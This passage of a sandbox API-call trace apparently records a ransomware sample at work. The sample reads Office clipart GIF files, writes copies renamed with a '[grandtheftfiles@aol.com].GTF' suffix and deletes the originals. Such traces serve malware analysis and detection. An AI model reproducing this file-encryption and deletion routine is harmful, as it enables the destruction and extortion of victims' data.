	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.027] lstrlenW (lpString=".doc") returned 4
	[0078.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".docx") returned 5
	[0078.027] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0078.027] lstrlenW (lpString=".pdf") returned 4
	[0078.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".xls") returned 4
	[0078.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".xlsx") returned 5
	[0078.027] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0078.027] lstrlenW (lpString=".ppt") returned 4
	[0078.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.028] lstrlenW (lpString=".zip") returned 4
	[0078.028] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.028] lstrlenW (lpString=".rar") returned 4
	[0078.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.028] lstrlenW (lpString=".bz2") returned 4
	[0078.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.028] lstrlenW (lpString=".7z") returned 3
	[0078.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.028] lstrlenW (lpString=".dbf") returned 4
	[0078.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.028] lstrlenW (lpString=".1cd") returned 4
	[0078.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.028] lstrlenW (lpString=".jpg") returned 4
	[0078.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.028] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.028] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0078.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.052] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9024) returned 1
	[0078.052] CloseHandle (hObject=0x340) returned 1
	[0078.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220
	[0078.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.052] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.052] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.052] GetLastError () returned 0x0
	[0078.053] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2340, lpOverlapped=0x0) returned 1
	[0078.299] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2350, lpOverlapped=0x0) returned 1
	[0078.344] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.344] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.344] SetEndOfFile (hFile=0x368) returned 1
	[0078.344] CloseHandle (hObject=0x368) returned 1
	[0078.345] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.345] SetEndOfFile (hFile=0x340) returned 1
	[0078.346] CloseHandle (hObject=0x340) returned 1
	[0078.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.347] lstrlenW (lpString=".doc") returned 4
	[0078.347] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.347] lstrlenW (lpString=".docx") returned 5
	[0078.347] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.347] lstrlenW (lpString=".pdf") returned 4
	[0078.347] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.347] lstrlenW (lpString=".xls") returned 4
	[0078.347] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.347] lstrlenW (lpString=".xlsx") returned 5
	[0078.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.347] lstrlenW (lpString=".ppt") returned 4
	[0078.347] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.347] lstrlenW (lpString=".zip") returned 4
	[0078.347] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.347] lstrlenW (lpString=".rar") returned 4
	[0078.347] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.347] lstrlenW (lpString=".bz2") returned 4
	[0078.347] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.347] lstrlenW (lpString=".7z") returned 3
	[0078.347] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString=".dbf") returned 4
	[0078.348] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString=".1cd") returned 4
	[0078.348] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString=".jpg") returned 4
	[0078.348] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString=".doc") returned 4
	[0078.348] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.348] lstrlenW (lpString=".docx") returned 5
	[0078.348] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.348] lstrlenW (lpString=".pdf") returned 4
	[0078.348] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.348] lstrlenW (lpString=".xls") returned 4
	[0078.348] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.348] lstrlenW (lpString=".xlsx") returned 5
	[0078.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.348] lstrlenW (lpString=".ppt") returned 4
	[0078.348] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.348] lstrlenW (lpString=".zip") returned 4
	[0078.348] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.349] lstrlenW (lpString=".rar") returned 4
	[0078.349] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.349] lstrlenW (lpString=".bz2") returned 4
	[0078.349] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.349] lstrlenW (lpString=".7z") returned 3
	[0078.349] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.349] lstrlenW (lpString=".dbf") returned 4
	[0078.349] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.349] lstrlenW (lpString=".1cd") returned 4
	[0078.349] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0078.349] lstrlenW (lpString=".jpg") returned 4
	[0078.349] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.349] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.349] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0078.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.349] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8097) returned 1
	[0078.349] CloseHandle (hObject=0x340) returned 1
	[0078.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220
	[0078.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.350] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.350] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.350] GetLastError () returned 0x0
	[0078.350] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1fa1, lpOverlapped=0x0) returned 1
	[0078.352] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1fb0, lpOverlapped=0x0) returned 1
	[0078.353] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.353] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.353] SetEndOfFile (hFile=0x368) returned 1
	[0078.353] CloseHandle (hObject=0x368) returned 1
	[0078.354] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.354] SetEndOfFile (hFile=0x340) returned 1
	[0078.355] CloseHandle (hObject=0x340) returned 1
	[0078.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1
	[0078.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.355] lstrlenW (lpString=".doc") returned 4
	[0078.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.355] lstrlenW (lpString=".docx") returned 5
	[0078.355] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.355] lstrlenW (lpString=".pdf") returned 4
	[0078.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString=".xls") returned 4
	[0078.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString=".xlsx") returned 5
	[0078.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.356] lstrlenW (lpString=".ppt") returned 4
	[0078.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString=".zip") returned 4
	[0078.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString=".rar") returned 4
	[0078.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString=".bz2") returned 4
	[0078.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.356] lstrlenW (lpString=".7z") returned 3
	[0078.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString=".dbf") returned 4
	[0078.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString=".1cd") returned 4
	[0078.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString=".jpg") returned 4
	[0078.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.356] lstrlenW (lpString=".doc") returned 4
	[0078.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.356] lstrlenW (lpString=".docx") returned 5
	[0078.356] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.356] lstrlenW (lpString=".pdf") returned 4
	[0078.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.356] lstrlenW (lpString=".xls") returned 4
	[0078.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.357] lstrlenW (lpString=".xlsx") returned 5
	[0078.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.357] lstrlenW (lpString=".ppt") returned 4
	[0078.357] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.357] lstrlenW (lpString=".zip") returned 4
	[0078.357] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.357] lstrlenW (lpString=".rar") returned 4
	[0078.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.357] lstrlenW (lpString=".bz2") returned 4
	[0078.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.357] lstrlenW (lpString=".7z") returned 3
	[0078.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.357] lstrlenW (lpString=".dbf") returned 4
	[0078.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.357] lstrlenW (lpString=".1cd") returned 4
	[0078.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0078.357] lstrlenW (lpString=".jpg") returned 4
	[0078.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.357] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.357] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0078.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.358] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7686) returned 1
	[0078.358] CloseHandle (hObject=0x340) returned 1
	[0078.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220
	[0078.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.358] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.358] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.359] GetLastError () returned 0x0
	[0078.359] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1e06, lpOverlapped=0x0) returned 1
	[0078.360] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1e10, lpOverlapped=0x0) returned 1
	[0078.361] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.361] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.361] SetEndOfFile (hFile=0x368) returned 1
	[0078.362] CloseHandle (hObject=0x368) returned 1
	[0078.362] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.362] SetEndOfFile (hFile=0x340) returned 1
	[0078.363] CloseHandle (hObject=0x340) returned 1
	[0078.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1
	[0078.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.364] lstrlenW (lpString=".doc") returned 4
	[0078.364] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.364] lstrlenW (lpString=".docx") returned 5
	[0078.364] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.364] lstrlenW (lpString=".pdf") returned 4
	[0078.364] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.364] lstrlenW (lpString=".xls") returned 4
	[0078.364] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.364] lstrlenW (lpString=".xlsx") returned 5
	[0078.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.365] lstrlenW (lpString=".ppt") returned 4
	[0078.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString=".zip") returned 4
	[0078.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.365] lstrlenW (lpString=".rar") returned 4
	[0078.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.365] lstrlenW (lpString=".bz2") returned 4
	[0078.365] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.365] lstrlenW (lpString=".7z") returned 3
	[0078.365] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString=".dbf") returned 4
	[0078.365] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString=".1cd") returned 4
	[0078.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString=".jpg") returned 4
	[0078.365] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
